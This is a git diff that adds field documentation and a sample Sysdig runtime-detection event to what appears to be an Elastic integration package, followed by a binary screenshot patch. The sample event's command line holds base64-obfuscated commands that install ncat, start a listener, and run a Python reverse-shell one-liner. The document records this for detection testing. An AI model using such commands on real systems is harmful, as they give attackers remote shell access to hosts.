scripting-12345678-123ab\",\"kubernetes.workload.name\":\"shell-scripting\",\"kubernetes.workload.type\":\"cronjob\"},\"name\":\"Manuel test policy\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":4,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1743822001115928600}", + "outcome": "success", + "provider": "syscall", + "severity": 4, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "mac": [ + "01-00-5E-90-10-00" + ], + "name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + }, + "input": { + "type": "cel" + }, + "message": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "namespace": "default", + "resource": { + "name": "shell-scripting-12345678-123ab", + "parent": { + "type": "cronjob" + } + } + }, + "process": { + "command_line": "sh", + "executable": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "parent": { + "command_line": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "name": "bash", + "pid": 1372453, + "start": "2025-04-05T03:00:00.952432134Z" + }, + "pid": 1372469, + "start": "2025-04-05T03:00:01.115100312Z", + "working_directory": "/" + }, + "related": { + "hash": [ + "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ], + "hosts": [ + "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This is just a dumb policy to test custom policies", + "name": "My test rule custom", + "ruleset": "Manuel test policy" + }, + "sysdig": { + "event": { + "category": "runtime", + "content": { + "fields": { + "evt": { + "res": "SUCCESS", + "type": "execve" + }, + "proc": { + "sid": "1" + } + }, + "origin": "Secure UI", + "policy_id": "10569534", + "rule_sub_type": 0, + "rule_tags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "engine": "falco", + "labels": { + "container": { + "image": { + "id": "ef0f72a55bd2", + "repo": "docker.io/library/python", + "tag": "3.9.18-slim" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "shell-scripting" + }, + "pod": { + "name": "shell-scripting-29063700-123ab", + "namespace": "default" + } + } + } + }, + "name": "shell-scripting" + }, + "gcp": { + "location": "us-central1", + "project_id": "012345678912" + }, + "kubernetes": { + "cron_job": { + "name": "shell-scripting" + }, + "job": { + "name": "shell-scripting-29063700" + }, + "node": { + "name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd" + }, + "workload": { + "name": "shell-scripting" + } + } + }, + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity_value": "Medium", + "source_details": { + "sub_type": "container", + "type": "workload" + } + } + }, + "tags": [ + "preserve_original_event", + "forwarded", + "sysdig-event" + ], + "user": { + "id": "0", + "name": "root" + } +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| log.offset | Log offset. | long | +| process.hash.sha256 | | keyword | +| process.parent.command_line | | keyword | +| process.parent.executable | | keyword | +| process.parent.name | | keyword | +| process.parent.parent.command_line | | keyword | +| process.parent.parent.executable | | keyword | +| process.parent.parent.name | | keyword | +| process.parent.parent.parent.command_line | | keyword | +| process.parent.parent.parent.executable | | keyword | +| process.parent.parent.parent.name | | keyword | +| process.parent.parent.parent.parent.command_line | | keyword | +| process.parent.parent.parent.parent.executable | | keyword | +| process.parent.parent.parent.parent.name | | keyword | +| process.parent.pid | | long | +| process.parent.start | | date | +| sysdig.event.actions.after_event_ns | Amount of nanoseconds after the event the Capture spans. | long | +| sysdig.event.actions.before_event_ns | Amount of nanoseconds before the event the Capture spans. | long | +| sysdig.event.actions.err_msg | When isSuccessful is false, details on why the action failed. | keyword | +| sysdig.event.actions.is_successful | Whether or not the Capture was taken successfully. | boolean | +| sysdig.event.actions.token | Token to retrieve the related capture. | keyword | +| sysdig.event.actions.type | Action type. | keyword | +| sysdig.event.category | The event category. Possible values are runtime, remote, admissionController, cloudtrail, okta, github, falcocloud, miner. | keyword | +| sysdig.event.content.cluster_name | Kubernetes cluster name. | keyword | +| sysdig.event.content.command | The command name. | keyword | +| sysdig.event.content.detected_class_probability | The detected class probability (confidence score). | double | +| sysdig.event.content.exe | The command path. | keyword | +| sysdig.event.content.fields.aws.account_id | | keyword | +| sysdig.event.content.fields.aws.event_name | | keyword | +| sysdig.event.content.fields.aws.region | | keyword | +| sysdig.event.content.fields.aws.source_ip | | ip | +| sysdig.event.content.fields.aws.user | | keyword | +| sysdig.event.content.fields.container.id | | keyword | +| sysdig.event.content.fields.container.image.repository | | keyword | +| sysdig.event.content.fields.container.image.tag | | keyword | +| sysdig.event.content.fields.container.label.io.kubernetes.container.name | | keyword | +| sysdig.event.content.fields.container.label.io.kubernetes.pod.name | | keyword | +| sysdig.event.content.fields.container.label.io.kubernetes.pod.namespace | | keyword | +| sysdig.event.content.fields.container.mounts | | keyword | +| sysdig.event.content.fields.container.name | | keyword | +| sysdig.event.content.fields.container.privileged | | boolean | +| sysdig.event.content.fields.ct.id | | keyword | +| sysdig.event.content.fields.ct.name | | keyword | +| sysdig.event.content.fields.ct.region | | keyword | +| sysdig.event.content.fields.ct.request.functionname | | keyword | +| sysdig.event.content.fields.ct.request.host | | keyword | +| sysdig.event.content.fields.ct.shortsrc | | keyword | +| sysdig.event.content.fields.ct.srcdomain | | keyword | +| sysdig.event.content.fields.ct.srcip | | ip | +| sysdig.event.content.fields.ct.user.accountid | | keyword | +| sysdig.event.content.fields.ct.user.arn | | keyword | +| sysdig.event.content.fields.ct.user.identitytype | | keyword | +| sysdig.event.content.fields.ct.user.principalid | | keyword | +| sysdig.event.content.fields.ct.user.value | | keyword | +| sysdig.event.content.fields.ct.useragent | | keyword | +| sysdig.event.content.fields.evt.arg.request | | keyword | +| sysdig.event.content.fields.evt.dir | | keyword | +| sysdig.event.content.fields.evt.res | | keyword | +| sysdig.event.content.fields.evt.type | | keyword | +| sysdig.event.content.fields.fd.directory | | keyword | +| sysdig.event.content.fields.fd.name | | keyword | +| sysdig.event.content.fields.fd.sip | | ip | +| sysdig.event.content.fields.fd.sport | | long | +| sysdig.event.content.fields.fd.type | | keyword | +| sysdig.event.content.fields.group.gid | | keyword | +| sysdig.event.content.fields.group.name | | keyword | +| sysdig.event.content.fields.proc.args | | keyword | +| sysdig.event.content.fields.proc.cmdline | | keyword | +| sysdig.event.content.fields.proc.cwd | | keyword | +| sysdig.event.content.fields.proc.exepath | | keyword | +| sysdig.event.content.fields.proc.hash.sha256 | | keyword | +| sysdig.event.content.fields.proc.name | | keyword | +| sysdig.event.content.fields.proc.pcmdline | | keyword | +| sysdig.event.content.fields.proc.pexepath | | keyword | +| sysdig.event.content.fields.proc.pid | | long | +| sysdig.event.content.fields.proc.pid_ts | | date | +| sysdig.event.content.fields.proc.pname | | keyword | +| sysdig.event.content.fields.proc.ppid | | long | +| sysdig.event.content.fields.proc.ppid_ts | | date | +| sysdig.event.content.fields.proc.sid | | keyword | +| sysdig.event.content.fields.proc.stderr.name | | keyword | +| sysdig.event.content.fields.proc.stdin.name | | keyword | +| sysdig.event.content.fields.proc.stdout.name | | keyword | +| sysdig.event.content.fields.user.loginname | | keyword | +| sysdig.event.content.fields.user.loginuid | | keyword | +| sysdig.event.content.fields.user.name | | keyword | +| sysdig.event.content.fields.user.uid | | keyword | +| sysdig.event.content.integration_id | The unique identifier of the integration that generated the event. | keyword | +| sysdig.event.content.integration_type | The type of integration that generated the event. Possible values are cloudtrail, okta, github, gcp, azure. | keyword | +| sysdig.event.content.namespace | Kubernetes namespace. | keyword | +| sysdig.event.content.origin | | keyword | +| sysdig.event.content.output | Event output, generated after the configured rule. | keyword | +| sysdig.event.content.policy_id | ID of the policy that generated the event. | keyword | +| sysdig.event.content.policy_notification_channel_ids | The list of notification channels where an alert is sent after event is generated. Doesn't account for aggregations and eventual thresholds. | keyword | +| sysdig.event.content.policy_origin | The policy author. Possible values are Sysdig, Sysdig UI, Tuner. | keyword | +| sysdig.event.content.policy_version | | keyword | +| sysdig.event.content.priority | Rule priority. Possible values are emergency, alert, critical, error, warning, informational, notice, debug. | keyword | +| sysdig.event.content.resource_kind | Kubernetes resource kind | keyword | +| sysdig.event.content.resource_name | Kubernetes resource name. | keyword | +| sysdig.event.content.rule_name | Name of the rule the event is generated after. | keyword | +| sysdig.event.content.rule_sub_type | | long | +| sysdig.event.content.rule_tags | The tags attached to the rule. | keyword | +| sysdig.event.content.rule_type | Rule type. | long | +| sysdig.event.content.run_book | The runbook URL as configured in the policy. | keyword | +| sysdig.event.content.scan_result | | object | +| sysdig.event.content.sequence.event_id | The unique identifier of the log event. | keyword | +| sysdig.event.content.sequence.event_name | The name of the event. | keyword | +| sysdig.event.content.sequence.event_time | The time when the event occurred. | date | +| sysdig.event.content.sequence.ingestion_id | The unique identifier of the ingestion. | keyword | +| sysdig.event.content.sequence.region | The region where the event occurred. | keyword | +| sysdig.event.content.sequence.source | The source of the event. | keyword | +| sysdig.event.content.sequence.source_ip_address | The IP address of the source. | ip | +| sysdig.event.content.sequence.sub_ingestion_id | The unique identifier of the sub ingestion. | keyword | +| sysdig.event.content.stats.api | | keyword | +| sysdig.event.content.stats.count | | long | +| sysdig.event.content.type | The type of the event content. | keyword | +| sysdig.event.content.zones.id | Zone ID. | keyword | +| sysdig.event.content.zones.name | Zone name. | keyword | +| sysdig.event.description | Description of the policy the event is generated after. | keyword | +| sysdig.event.engine | The engine used to generate the event out of the raw signal. Possible values are drift, falco, list, machineLearning, malware. | keyword | +| sysdig.event.id | The event id. | keyword | +| sysdig.event.labels.aws.account_id | | keyword | +| sysdig.event.labels.aws.region | | keyword | +| sysdig.event.labels.aws.user | | keyword | +| sysdig.event.labels.azure.instance_id | | keyword | +| sysdig.event.labels.azure.instance_name | | keyword | +| sysdig.event.labels.azure.instance_size | | keyword | +| sysdig.event.labels.azure.location | | keyword | +| sysdig.event.labels.azure.subscription_id | | keyword | +| sysdig.event.labels.cloud_provider.account.id | | keyword | +| sysdig.event.labels.cloud_provider.name | | keyword | +| sysdig.event.labels.cloud_provider.region | | keyword | +| sysdig.event.labels.cloud_provider.user | | keyword | +| sysdig.event.labels.container.image.digest | | keyword | +| sysdig.event.labels.container.image.id | | keyword | +| sysdig.event.labels.container.image.repo | | keyword | +| sysdig.event.labels.container.image.tag | | keyword | +| sysdig.event.labels.container.label.io.kubernetes.container.name | | keyword | +| sysdig.event.labels.container.label.io.kubernetes.pod.name | | keyword | +| sysdig.event.labels.container.label.io.kubernetes.pod.namespace | | keyword | +| sysdig.event.labels.container.name | | keyword | +| sysdig.event.labels.gcp.availability_zone | | keyword | +| sysdig.event.labels.gcp.instance_id | | keyword | +| sysdig.event.labels.gcp.instance_name | | keyword | +| sysdig.event.labels.gcp.location | | keyword | +| sysdig.event.labels.gcp.machine_type | | keyword | +| sysdig.event.labels.gcp.project_id | | keyword | +| sysdig.event.labels.gcp.project_name | | keyword | +| sysdig.event.labels.host.host_name | | keyword | +| sysdig.event.labels.host.mac | | keyword | +| sysdig.event.labels.kubernetes.cluster.name | | keyword | +| sysdig.event.labels.kubernetes.cron_job.name | | keyword | +| sysdig.event.labels.kubernetes.daemon_set.name | | keyword | +| sysdig.event.labels.kubernetes.job.name | | keyword | +| sysdig.event.labels.kubernetes.namespace.name | | keyword | +| sysdig.event.labels.kubernetes.node.name | | keyword | +| sysdig.event.labels.kubernetes.pod.name | | keyword | +| sysdig.event.labels.kubernetes.service.name | | keyword | +| sysdig.event.labels.kubernetes.workload.name | | keyword | +| sysdig.event.labels.kubernetes.workload.type | | keyword | +| sysdig.event.labels.source.ip | | ip | +| sysdig.event.name | Name of the policy the event is generated after. | keyword | +| sysdig.event.originator | Type of event. Possible values are policy, profilingDetection, falcocloud, admissionController. | keyword | +| sysdig.event.raw_event_category | The semantic category (area) of the event in the Sysdig product. Possible values are kspm, runtime. | keyword | +| sysdig.event.raw_event_originator | The agent type, hosting the engine, that generated the event after the raw event. Possilble values are admissionController, agentless, cloudConnector, linuxAgent, serverlessAgent, windowsAgent. | keyword | +| sysdig.event.severity | The policy severity. | long | +| sysdig.event.severity_value | The policy severity. | keyword | +| sysdig.event.source | Source of the event. Possible values are syscall, windows, profiling, K8SAdmissionController, k8s_audit, aws_cloudtrail, awscloudtrail, agentless-aws-ml, gcp_auditlog, azure_platformlogs, okta, agentless-okta-ml, github. | keyword | +| sysdig.event.source_details.sub_type | A deeper particularization for the type of component that generated the raw event. Possible values are auditlogs, auditWebhooks, caas, dynamicAdmissionControl, host, container, workforce. | keyword | +| sysdig.event.source_details.type | The type of component that generated the raw event. Possible values are cloud, git, iam, kubernetes, workload. | keyword | +| sysdig.event.timestamp | The event timestamp in nanoseconds. | date | + diff --git a/packages/sysdig/img/sysdig-security-events-screenshot.png b/packages/sysdig/img/sysdig-security-events-screenshot.png new file mode 100644 index 0000000000000000000000000000000000000000..3506c9ecca1a87335b23970a9ce2ddc1138e19af GIT binary patch literal 780115 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 